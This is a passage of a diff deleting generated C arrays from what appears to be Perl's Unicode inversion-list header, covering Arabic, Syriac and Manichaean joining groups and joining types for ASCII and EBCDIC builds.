0x10AD9 -}; - -static const UV PL_JG__MANICHAEANTAW_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10AE4, - 0x10AE5 -}; - -static const UV PL_JG__MANICHAEANTEN_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10AED, - 0x10AEE -}; - -static const UV PL_JG__MANICHAEANTETH_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10ACE, - 0x10ACF -}; - -static const UV PL_JG__MANICHAEANTHAMEDH_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10AD5, - 0x10AD6 -}; - -static const UV PL_JG__MANICHAEANTWENTY_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10AEE, - 0x10AEF -}; - -static const UV PL_JG__MANICHAEANWAW_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10AC7, - 0x10AC8 -}; - -static const UV PL_JG__MANICHAEANYODH_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10ACF, - 0x10AD0 -}; - -static const UV PL_JG__MANICHAEANZAYIN_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10AC9, - 0x10ACB -}; - -static const UV PL_JG__MEEM_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x645, - 0x646, - 0x765, - 0x767, - 0x8A7, - 0x8A8 -}; - -static const UV PL_JG__MIM_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x721, - 0x722 -}; - -static const UV PL_JG__NOJOININGGROUP_invlist[] = { /* for all charsets */ - 47, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x620, - 0x621, - 0x622, - 0x640, - 0x641, - 0x64B, - 0x66E, - 0x670, - 0x671, - 0x674, - 0x675, - 0x6D4, - 0x6D5, - 0x6D6, - 0x6EE, - 0x6F0, - 0x6FA, - 0x6FD, - 0x6FF, - 0x700, - 0x710, - 0x711, - 0x712, - 0x730, - 0x74D, - 0x780, - 0x860, - 0x86B, - 0x8A0, - 0x8AD, - 0x8AE, - 0x8B5, - 0x8B6, - 0x8BE, - 0x10AC0, - 0x10AC6, - 0x10AC7, - 0x10AC8, - 0x10AC9, - 0x10ACB, - 0x10ACD, - 0x10AE2, - 0x10AE4, - 0x10AE5, - 0x10AEB, - 0x10AF0 -}; - -static const UV PL_JG__NOON_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x646, - 0x647, - 0x6B9, - 0x6BD, - 0x767, - 0x76A -}; - -static const UV PL_JG__NUN_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x722, - 0x723 -}; - -static const UV PL_JG__NYA_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x6BD, - 0x6BE -}; - -static const UV PL_JG__PE_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x726, - 0x727 -}; - -static const UV PL_JG__QAF_invlist[] = { /* for all charsets */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x642, - 0x643, - 0x66F, - 0x670, - 0x6A7, - 0x6A9, - 0x8A5, - 0x8A6 -}; - -static const UV PL_JG__QAPH_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x729, - 0x72A -}; - -static const UV PL_JG__REH_invlist[] = { /* for all charsets */ - 19, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x631, - 0x633, - 0x691, - 0x69A, - 0x6EF, - 0x6F0, - 0x75B, - 0x75C, - 0x76B, - 0x76D, - 0x771, - 0x772, - 0x8AA, - 0x8AB, - 0x8B2, - 0x8B3, - 0x8B9, - 0x8BA -}; - -static const UV PL_JG__REVERSEDPE_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x727, - 0x728 -}; - -static const UV PL_JG__ROHINGYAYEH_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x8AC, - 0x8AD -}; - -static const UV PL_JG__SAD_invlist[] = { /* for all charsets */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x635, - 0x637, - 0x69D, - 0x69F, - 0x6FB, - 0x6FC, - 0x8AF, - 0x8B0 -}; - -static const UV PL_JG__SADHE_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x728, - 0x729 -}; - -static const UV PL_JG__SEEN_invlist[] = { /* for all charsets */ - 15, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x633, - 0x635, - 0x69A, - 0x69D, - 0x6FA, - 0x6FB, - 0x75C, - 0x75D, - 0x76D, - 0x76E, - 0x770, - 0x771, - 0x77D, - 0x77F -}; - -static const UV PL_JG__SEMKATH_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x723, - 0x724 -}; - -static const UV PL_JG__SHIN_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x72B, - 0x72C -}; - -static const UV PL_JG__STRAIGHTWAW_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x8B1, - 0x8B2 -}; - -static const UV PL_JG__SWASHKAF_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x6AA, - 0x6AB -}; - -static const UV PL_JG__SYRIACWAW_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x718, - 0x719 -}; - -static const UV PL_JG__TAH_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x637, - 0x639, - 0x69F, - 0x6A0, - 0x8A3, - 0x8A4 -}; - -static const UV PL_JG__TAW_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x72C, - 0x72D -}; - -static const UV PL_JG__TEHMARBUTA_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x629, - 0x62A, - 0x6C0, - 0x6C1, - 0x6D5, - 0x6D6 -}; - -static const UV PL_JG__TETH_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x71B, - 0x71D -}; - -static const UV PL_JG__WAW_invlist[] = { /* for all charsets */ - 15, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x624, - 0x625, - 0x648, - 0x649, - 0x676, - 0x678, - 0x6C4, - 0x6CC, - 0x6CF, - 0x6D0, - 0x778, - 0x77A, - 0x8AB, - 0x8AC -}; - -static const UV PL_JG__YEH_invlist[] = { /* for all charsets */ - 17, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x620, - 0x621, - 0x626, - 0x627, - 0x649, - 0x64B, - 0x678, - 0x679, - 0x6D0, - 0x6D2, - 0x777, - 0x778, - 0x8A8, - 0x8AA, - 0x8BA, - 0x8BB -}; - -static const UV PL_JG__YEHBARREE_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x6D2, - 0x6D4 -}; - -static const UV PL_JG__YEHWITHTAIL_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x6CD, - 0x6CE -}; - -static const UV PL_JG__YUDH_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x71D, - 0x71E -}; - -static const UV PL_JG__YUDHHE_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x71E, - 0x71F -}; - -static const UV PL_JG__ZAIN_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x719, - 0x71A -}; - -static const UV PL_JG__ZHAIN_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x74D, - 0x74E -}; - -static const UV PL_JOINC_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x200C, - 0x200E -}; - -static const UV PL_JT__C_invlist[] = { /* for all charsets */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x640, - 0x641, - 0x7FA, - 0x7FB, - 0x180A, - 0x180B, - 0x200D, - 0x200E -}; - -static const UV PL_JT__D_invlist[] = { /* for all charsets */ - 119, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x620, - 0x621, - 0x626, - 0x627, - 0x628, - 0x629, - 0x62A, - 0x62F, - 0x633, - 0x640, - 0x641, - 0x648, - 0x649, - 0x64B, - 0x66E, - 0x670, - 0x678, - 0x688, - 0x69A, - 0x6C0, - 0x6C1, - 0x6C3, - 0x6CC, - 0x6CD, - 0x6CE, - 0x6CF, - 0x6D0, - 0x6D2, - 0x6FA, - 0x6FD, - 0x6FF, - 0x700, - 0x712, - 0x715, - 0x71A, - 0x71E, - 0x71F, - 0x728, - 0x729, - 0x72A, - 0x72B, - 0x72C, - 0x72D, - 0x72F, - 0x74E, - 0x759, - 0x75C, - 0x76B, - 0x76D, - 0x771, - 0x772, - 0x773, - 0x775, - 0x778, - 0x77A, - 0x780, - 0x7CA, - 0x7EB, - 0x841, - 0x846, - 0x848, - 0x849, - 0x84A, - 0x854, - 0x855, - 0x856, - 0x860, - 0x861, - 0x862, - 0x866, - 0x868, - 0x869, - 0x8A0, - 0x8AA, - 0x8AF, - 0x8B1, - 0x8B3, - 0x8B5, - 0x8B6, - 0x8B9, - 0x8BA, - 0x8BE, - 0x1807, - 0x1808, - 0x1820, - 0x1878, - 0x1887, - 0x18A9, - 0x18AA, - 0x18AB, - 0xA840, - 0xA872, - 0x10AC0, - 0x10AC5, - 0x10AD3, - 0x10AD7, - 0x10AD8, - 0x10ADD, - 0x10ADE, - 0x10AE1, - 0x10AEB, - 0x10AEF, - 0x10B80, - 0x10B81, - 0x10B82, - 0x10B83, - 0x10B86, - 0x10B89, - 0x10B8A, - 0x10B8C, - 0x10B8D, - 0x10B8E, - 0x10B90, - 0x10B91, - 0x10BAD, - 0x10BAF, - 0x1E900, - 0x1E944 -}; - -static const UV PL_JT__L_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA872, - 0xA873, - 0x10ACD, - 0x10ACE, - 0x10AD7, - 0x10AD8 -}; - -static const UV PL_JT__R_invlist[] = { /* for all charsets */ - 107, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x622, - 0x626, - 0x627, - 0x628, - 0x629, - 0x62A, - 0x62F, - 0x633, - 0x648, - 0x649, - 0x671, - 0x674, - 0x675, - 0x678, - 0x688, - 0x69A, - 0x6C0, - 0x6C1, - 0x6C3, - 0x6CC, - 0x6CD, - 0x6CE, - 0x6CF, - 0x6D0, - 0x6D2, - 0x6D4, - 0x6D5, - 0x6D6, - 0x6EE, - 0x6F0, - 0x710, - 0x711, - 0x715, - 0x71A, - 0x71E, - 0x71F, - 0x728, - 0x729, - 0x72A, - 0x72B, - 0x72C, - 0x72D, - 0x72F, - 0x730, - 0x74D, - 0x74E, - 0x759, - 0x75C, - 0x76B, - 0x76D, - 0x771, - 0x772, - 0x773, - 0x775, - 0x778, - 0x77A, - 0x840, - 0x841, - 0x846, - 0x848, - 0x849, - 0x84A, - 0x854, - 0x855, - 0x867, - 0x868, - 0x869, - 0x86B, - 0x8AA, - 0x8AD, - 0x8AE, - 0x8AF, - 0x8B1, - 0x8B3, - 0x8B9, - 0x8BA, - 0x10AC5, - 0x10AC6, - 0x10AC7, - 0x10AC8, - 0x10AC9, - 0x10ACB, - 0x10ACE, - 0x10AD3, - 0x10ADD, - 0x10ADE, - 0x10AE1, - 0x10AE2, - 0x10AE4, - 0x10AE5, - 0x10AEF, - 0x10AF0, - 0x10B81, - 0x10B82, - 0x10B83, - 0x10B86, - 0x10B89, - 0x10B8A, - 0x10B8C, - 0x10B8D, - 0x10B8E, - 0x10B90, - 0x10B91, - 0x10B92, - 0x10BA9, - 0x10BAD -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_JT__T_invlist[] = { /* for ASCII/Latin1 */ - 627, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xAD, - 0xAE, - 0x300, - 0x370, - 0x483, - 0x48A, - 0x591, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x610, - 0x61B, - 0x61C, - 0x61D, - 0x64B, - 0x660, - 0x670, - 0x671, - 0x6D6, - 0x6DD, - 0x6DF, - 0x6E5, - 0x6E7, - 0x6E9, - 0x6EA, - 0x6EE, - 0x70F, - 0x710, - 0x711, - 0x712, - 0x730, - 0x74B, - 0x7A6, - 0x7B1, - 0x7EB, - 0x7F4, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x82E, - 0x859, - 0x85C, - 0x8D4, - 0x8E2, - 0x8E3, - 0x903, - 0x93A, - 0x93B, - 0x93C, - 0x93D, - 0x941, - 0x949, - 0x94D, - 0x94E, - 0x951, - 0x958, - 0x962, - 0x964, - 0x981, - 0x982, - 0x9BC, - 0x9BD, - 0x9C1, - 0x9C5, - 0x9CD, - 0x9CE, - 0x9E2, - 0x9E4, - 0xA01, - 0xA03, - 0xA3C, - 0xA3D, - 0xA41, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA70, - 0xA72, - 0xA75, - 0xA76, - 0xA81, - 0xA83, - 0xABC, - 0xABD, - 0xAC1, - 0xAC6, - 0xAC7, - 0xAC9, - 0xACD, - 0xACE, - 0xAE2, - 0xAE4, - 0xAFA, - 0xB00, - 0xB01, - 0xB02, - 0xB3C, - 0xB3D, - 0xB3F, - 0xB40, - 0xB41, - 0xB45, - 0xB4D, - 0xB4E, - 0xB56, - 0xB57, - 0xB62, - 0xB64, - 0xB82, - 0xB83, - 0xBC0, - 0xBC1, - 0xBCD, - 0xBCE, - 0xC00, - 0xC01, - 0xC3E, - 0xC41, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC62, - 0xC64, - 0xC81, - 0xC82, - 0xCBC, - 0xCBD, - 0xCBF, - 0xCC0, - 0xCC6, - 0xCC7, - 0xCCC, - 0xCCE, - 0xCE2, - 0xCE4, - 0xD00, - 0xD02, - 0xD3B, - 0xD3D, - 0xD41, - 0xD45, - 0xD4D, - 0xD4E, - 0xD62, - 0xD64, - 0xDCA, - 0xDCB, - 0xDD2, - 0xDD5, - 0xDD6, - 0xDD7, - 0xE31, - 0xE32, - 0xE34, - 0xE3B, - 0xE47, - 0xE4F, - 0xEB1, - 0xEB2, - 0xEB4, - 0xEBA, - 0xEBB, - 0xEBD, - 0xEC8, - 0xECE, - 0xF18, - 0xF1A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF71, - 0xF7F, - 0xF80, - 0xF85, - 0xF86, - 0xF88, - 0xF8D, - 0xF98, - 0xF99, - 0xFBD, - 0xFC6, - 0xFC7, - 0x102D, - 0x1031, - 0x1032, - 0x1038, - 0x1039, - 0x103B, - 0x103D, - 0x103F, - 0x1058, - 0x105A, - 0x105E, - 0x1061, - 0x1071, - 0x1075, - 0x1082, - 0x1083, - 0x1085, - 0x1087, - 0x108D, - 0x108E, - 0x109D, - 0x109E, - 0x135D, - 0x1360, - 0x1712, - 0x1715, - 0x1732, - 0x1735, - 0x1752, - 0x1754, - 0x1772, - 0x1774, - 0x17B4, - 0x17B6, - 0x17B7, - 0x17BE, - 0x17C6, - 0x17C7, - 0x17C9, - 0x17D4, - 0x17DD, - 0x17DE, - 0x180B, - 0x180E, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, - 0x1920, - 0x1923, - 0x1927, - 0x1929, - 0x1932, - 0x1933, - 0x1939, - 0x193C, - 0x1A17, - 0x1A19, - 0x1A1B, - 0x1A1C, - 0x1A56, - 0x1A57, - 0x1A58, - 0x1A5F, - 0x1A60, - 0x1A61, - 0x1A62, - 0x1A63, - 0x1A65, - 0x1A6D, - 0x1A73, - 0x1A7D, - 0x1A7F, - 0x1A80, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B04, - 0x1B34, - 0x1B35, - 0x1B36, - 0x1B3B, - 0x1B3C, - 0x1B3D, - 0x1B42, - 0x1B43, - 0x1B6B, - 0x1B74, - 0x1B80, - 0x1B82, - 0x1BA2, - 0x1BA6, - 0x1BA8, - 0x1BAA, - 0x1BAB, - 0x1BAE, - 0x1BE6, - 0x1BE7, - 0x1BE8, - 0x1BEA, - 0x1BED, - 0x1BEE, - 0x1BEF, - 0x1BF2, - 0x1C2C, - 0x1C34, - 0x1C36, - 0x1C38, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CE1, - 0x1CE2, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF4, - 0x1CF5, - 0x1CF8, - 0x1CFA, - 0x1DC0, - 0x1DFA, - 0x1DFB, - 0x1E00, - 0x200B, - 0x200C, - 0x200E, - 0x2010, - 0x202A, - 0x202F, - 0x2060, - 0x2065, - 0x206A, - 0x2070, - 0x20D0, - 0x20F1, - 0x2CEF, - 0x2CF2, - 0x2D7F, - 0x2D80, - 0x2DE0, - 0x2E00, - 0x302A, - 0x302E, - 0x3099, - 0x309B, - 0xA66F, - 0xA673, - 0xA674, - 0xA67E, - 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA6F2, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA825, - 0xA827, - 0xA8C4, - 0xA8C6, - 0xA8E0, - 0xA8F2, - 0xA926, - 0xA92E, - 0xA947, - 0xA952, - 0xA980, - 0xA983, - 0xA9B3, - 0xA9B4, - 0xA9B6, - 0xA9BA, - 0xA9BC, - 0xA9BD, - 0xA9E5, - 0xA9E6, - 0xAA29, - 0xAA2F, - 0xAA31, - 0xAA33, - 0xAA35, - 0xAA37, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA4D, - 0xAA7C, - 0xAA7D, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAEC, - 0xAAEE, - 0xAAF6, - 0xAAF7, - 0xABE5, - 0xABE6, - 0xABE8, - 0xABE9, - 0xABED, - 0xABEE, - 0xFB1E, - 0xFB1F, - 0xFE00, - 0xFE10, - 0xFE20, - 0xFE30, - 0xFEFF, - 0xFF00, - 0xFFF9, - 0xFFFC, - 0x101FD, - 0x101FE, - 0x102E0, - 0x102E1, - 0x10376, - 0x1037B, - 0x10A01, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A10, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A40, - 0x10AE5, - 0x10AE7, - 0x11001, - 0x11002, - 0x11038, - 0x11047, - 0x1107F, - 0x11082, - 0x110B3, - 0x110B7, - 0x110B9, - 0x110BB, - 0x110BD, - 0x110BE, - 0x11100, - 0x11103, - 0x11127, - 0x1112C, - 0x1112D, - 0x11135, - 0x11173, - 0x11174, - 0x11180, - 0x11182, - 0x111B6, - 0x111BF, - 0x111CA, - 0x111CD, - 0x1122F, - 0x11232, - 0x11234, - 0x11235, - 0x11236, - 0x11238, - 0x1123E, - 0x1123F, - 0x112DF, - 0x112E0, - 0x112E3, - 0x112EB, - 0x11300, - 0x11302, - 0x1133C, - 0x1133D, - 0x11340, - 0x11341, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11438, - 0x11440, - 0x11442, - 0x11445, - 0x11446, - 0x11447, - 0x114B3, - 0x114B9, - 0x114BA, - 0x114BB, - 0x114BF, - 0x114C1, - 0x114C2, - 0x114C4, - 0x115B2, - 0x115B6, - 0x115BC, - 0x115BE, - 0x115BF, - 0x115C1, - 0x115DC, - 0x115DE, - 0x11633, - 0x1163B, - 0x1163D, - 0x1163E, - 0x1163F, - 0x11641, - 0x116AB, - 0x116AC, - 0x116AD, - 0x116AE, - 0x116B0, - 0x116B6, - 0x116B7, - 0x116B8, - 0x1171D, - 0x11720, - 0x11722, - 0x11726, - 0x11727, - 0x1172C, - 0x11A01, - 0x11A07, - 0x11A09, - 0x11A0B, - 0x11A33, - 0x11A39, - 0x11A3B, - 0x11A3F, - 0x11A47, - 0x11A48, - 0x11A51, - 0x11A57, - 0x11A59, - 0x11A5C, - 0x11A8A, - 0x11A97, - 0x11A98, - 0x11A9A, - 0x11C30, - 0x11C37, - 0x11C38, - 0x11C3E, - 0x11C3F, - 0x11C40, - 0x11C92, - 0x11CA8, - 0x11CAA, - 0x11CB1, - 0x11CB2, - 0x11CB4, - 0x11CB5, - 0x11CB7, - 0x11D31, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D46, - 0x11D47, - 0x11D48, - 0x16AF0, - 0x16AF5, - 0x16B30, - 0x16B37, - 0x16F8F, - 0x16F93, - 0x1BC9D, - 0x1BC9F, - 0x1BCA0, - 0x1BCA4, - 0x1D167, - 0x1D16A, - 0x1D173, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D242, - 0x1D245, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E8D0, - 0x1E8D7, - 0x1E944, - 0x1E94B, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_JT__T_invlist[] = { /* for EBCDIC 1047 */ - 627, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xCA, - 0xCB, - 0x300, - 0x370, - 0x483, - 0x48A, - 0x591, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x610, - 0x61B, - 0x61C, - 0x61D, - 0x64B, - 0x660, - 0x670, - 0x671, - 0x6D6, - 0x6DD, - 0x6DF, - 0x6E5, - 0x6E7, - 0x6E9, - 0x6EA, - 0x6EE, - 0x70F, - 0x710, - 0x711, - 0x712, - 0x730, - 0x74B, - 0x7A6, - 0x7B1, - 0x7EB, - 0x7F4, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x82E, - 0x859, - 0x85C, - 0x8D4, - 0x8E2, - 0x8E3, - 0x903, - 0x93A, - 0x93B, - 0x93C, - 0x93D, - 0x941, - 0x949, - 0x94D, - 0x94E, - 0x951, - 0x958, - 0x962, - 0x964, - 0x981, - 0x982, - 0x9BC, - 0x9BD, - 0x9C1, - 0x9C5, - 0x9CD, - 0x9CE, - 0x9E2, - 0x9E4, - 0xA01, - 0xA03, - 0xA3C, - 0xA3D, - 0xA41, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA70, - 0xA72, - 0xA75, - 0xA76, - 0xA81, - 0xA83, - 0xABC, - 0xABD, - 0xAC1, - 0xAC6, - 0xAC7, - 0xAC9, - 0xACD, - 0xACE, - 0xAE2, - 0xAE4, - 0xAFA, - 0xB00, - 0xB01, - 0xB02, - 0xB3C, - 0xB3D, - 0xB3F, - 0xB40, - 0xB41, - 0xB45, - 0xB4D, - 0xB4E, - 0xB56, - 0xB57, - 0xB62, - 0xB64, - 0xB82, - 0xB83, - 0xBC0, - 0xBC1, - 0xBCD, - 0xBCE, - 0xC00, - 0xC01, - 0xC3E, - 0xC41, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC62, - 0xC64, - 0xC81, - 0xC82, - 0xCBC, - 0xCBD, - 0xCBF, - 0xCC0, - 0xCC6, - 0xCC7, - 0xCCC, - 0xCCE, - 0xCE2, - 0xCE4, - 0xD00, - 0xD02, - 0xD3B, - 0xD3D, - 0xD41, - 0xD45, - 0xD4D, - 0xD4E, - 0xD62, - 0xD64, - 0xDCA, - 0xDCB, - 0xDD2, - 0xDD5, - 0xDD6, - 0xDD7, - 0xE31, - 0xE32, - 0xE34, - 0xE3B, - 0xE47, - 0xE4F, - 0xEB1, - 0xEB2, - 0xEB4, - 0xEBA, - 0xEBB, - 0xEBD, - 0xEC8, - 0xECE, - 0xF18, - 0xF1A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF71, - 0xF7F, - 0xF80, - 0xF85, - 0xF86, - 0xF88, - 0xF8D, - 0xF98, - 0xF99, - 0xFBD, - 